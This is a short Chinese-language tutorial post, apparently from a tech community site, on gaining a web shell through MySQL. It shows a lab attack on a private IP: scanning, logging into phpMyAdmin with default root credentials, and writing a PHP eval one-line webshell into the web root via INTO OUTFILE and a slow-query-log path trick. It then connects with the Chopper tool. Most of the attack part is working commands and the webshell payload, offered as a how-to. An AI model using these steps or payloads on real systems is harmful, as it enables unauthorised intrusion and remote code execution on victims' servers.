小课堂 -- 利用sql语句写入shell

简介: 小课堂 -- 利用sql语句写入shell

目标ip:192.168.52.143

一、御剑扫描该地址

 

image.png

 

获取到重要信息:

1、网站的绝对路径

image.png

 

2、phpmyadmin,并且是默认账号密码:root

 

image.png

 

二、登录数据口后台,写入一句话木马

select '<?php eval($_POST[x]);?>' into outfile 'c:/phpstudy/www/xx.php'

执行的时候报错

 

image.png

 

解决方法:

1、设置slow_query_log=1 启用慢查询日志。

 

image.png

 

2、修改slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='c:/phpstudy/www/xx.php'

 

image.png

 

3、向日志文件写入一句话

select '<?php eval($_POST[x]);?>' or sleep(11)

 

image.png

 

三、用菜刀链接

 

image.png

目录
相关文章
|
SQL 数据库
小课堂 -- 绕过去除特殊字符的sql注入
小课堂 -- 绕过去除特殊字符的sql注入
311 0
|
SQL
小课堂 -- sql注入绕过技术
小课堂 -- sql注入绕过技术
330 0
|
Oracle 关系型数据库 数据库
新建Oracle 数据库的Shell+SQL脚本
不用图形界面,也不用DBCA的静默方式,下面是用Shell+SQL创建Oracle数据库的脚本。
519 0
|
SQL 关系型数据库 Shell
postgresql|数据库|批量执行SQL脚本文件的shell脚本
postgresql|数据库|批量执行SQL脚本文件的shell脚本
1119 0
|
SQL Shell PHP
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
300 0
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
|
SQL 安全 Shell
42、利用sql语句写入shell
42、利用sql语句写入shell
329 0
42、利用sql语句写入shell
|
SQL 关系型数据库 MySQL
SQL注入:为什么拿不到os-shell?
SQL注入:为什么拿不到os-shell?
401 0
|
SQL 关系型数据库 MySQL
Shell脚本中执行sql语句操作mysql的5种方法
Shell脚本中执行sql语句操作mysql的5种方法 投稿:junjie 字体:[增加 减小] 类型:转载 时间:2014-10-31 我要评论 这篇文章主要介绍了Shell脚本中执行sql语句操作mysql的5种方法,本文讲解了将SQL语句直接嵌入到shell脚本文件中、命令行调用单独的SQL文件、使用管道符调用SQL文件等方法,需要的朋友可以参考下 对于自动化运维,诸如备份恢复之类的,DBA经常需要将SQL语句封装到shell脚本。
8278 0
|
关系型数据库 MySQL Shell
MySQL 备份 Shell 脚本:支持远程同步与阿里云 OSS 备份
一款自动化 MySQL 备份 Shell 脚本,支持本地存储、远程服务器同步(SSH+rsync)、阿里云 OSS 备份,并自动清理过期备份。适用于数据库管理员和开发者,帮助确保数据安全。
|
Shell
Shell脚本循环控制:shift、continue、break、exit指令
使用这些命令可以让你的Shell脚本像有生命一样动起来。正确使用它们,你的脚本就能像一场精心编排的舞蹈剧目,既有旋律的起伏,也有节奏的跳跃,最终以一场惊艳的表演结束。每一个动作、每一个转折点,都准确、优雅地完成所需要表达的逻辑。如此,你的脚本不只是冰冷的代码,它透过终端的界面,跳着有节奏的舞蹈,走进观众——使用者的心中。
522 60

热门文章

最新文章